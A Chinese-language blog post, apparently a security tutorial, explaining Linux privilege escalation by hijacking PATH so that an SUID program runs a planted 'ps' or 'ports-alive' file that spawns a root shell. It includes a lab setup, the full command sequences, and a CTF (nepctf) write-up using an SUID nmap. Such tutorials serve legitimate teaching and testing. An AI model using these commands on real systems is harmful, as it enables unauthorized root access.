环境变量提权

在 Linux 和类 Unix 操作系统中,PATH环境变量起着关键作用。它指定了系统在执行命令时搜索可执行程序的目录列表。当用户在终端输入一个命令时,系统会按照PATH变量中列出的目录顺序,依次查找该命令对应的可执行文件。例如,当执行ls命令时,系统会在PATH指定的各个目录中寻找ls程序,找到后便执行该程序并返回结果

可以通过echo $PATH查看当前用户的环境变量

利用前提:

(1)找到具有SUID权限的文件,知道文件里调用了什么系统二进制文件

(2)环境变量中有自己能控制的路径

实战:

环境配置

现在我们的当前目录是/home/lvxyz,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数

img

img

代码 通过 setuid() 和 setgid() 更改uid、gid为0 即 root

然后调用system()函数 执行 ps命令 即系统二进制文件/bin/ps

root@lvxyz-ubuntu:~/script$ whereis ps
ps: /bin/ps /usr/share/man/man1/ps.1.gz

我们使用gcc命令编译demo.c文件并且赋予编译文件SUID权限

gcc demo.c -o demo
chmod u+s demo
ls -la demo

img

Attack利用

假设我们的ubuntu 是我们已经入侵成功的主机,ssh成功登录lvxyz普通用户了,现在要进行提权

我们利用find命令查找一下具有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

发现了 /home/lvxyz/script/demo

我们运行一下这个文件,发现它会执行 ps命令

img

(1) echo命令

因此 我们就往/tmp写入 一个同名文件,内容为 /bin/bash

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/lvxyz/script
./demo

img

发现成功提权为root

(2) cp命令

也可以通过 cp /bin/bash /tmp/ps,使得/tmp/ps文件等价于/bin/bash 与上面同理

img

成功提权root

(3) symlink命令

利用条件:suid权限的文件目录拥有所有权限

利用 symlink 符号链接命令

img

控制环境变量,最开头加上 . 从而控制环境变量 执行ps时优先找到 ./ps 即 /bin/bash 提权

其他命令同理,比如 c文件里写的 system("cat /etc/passwd")

我们只需重写一个 内容为/bin/sh的 cat,然后控制环境变量使得 某个suid权限的文件里在执行 cat命令时,优先找到我们重写的cat即可提权

CTF应用 - nepctf 独步天下

ls / 发现了flag 直接读取不行 没有权限

题目提示:环境变量提权

查找具有suid权限的文件:find / -perm -u=s -type f

找到了 /bin/nmap 且其拥有者为root

-rwsr-xr-x    1 root     root        931712 Jul 17 09:46 nmap

执行一下 发现 nmap里调用了 ports-alive

/bin $ nmap 1
nmap 1
sh: ports-alive: not found

环境变量提权,在/tmp下创建一个名为 ports-alive 内容为 /bin/sh 脚本。export /tmp到$PATH里最左边。运行/bin/nmap 时劫持 ports-alive命令,从而以root身份执行/bin/sh 提权

cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH
/bin/nmap 1

img

posted @ 2026-06-19 13:32  Doll_Marker  阅读(7)  评论(0)    收藏  举报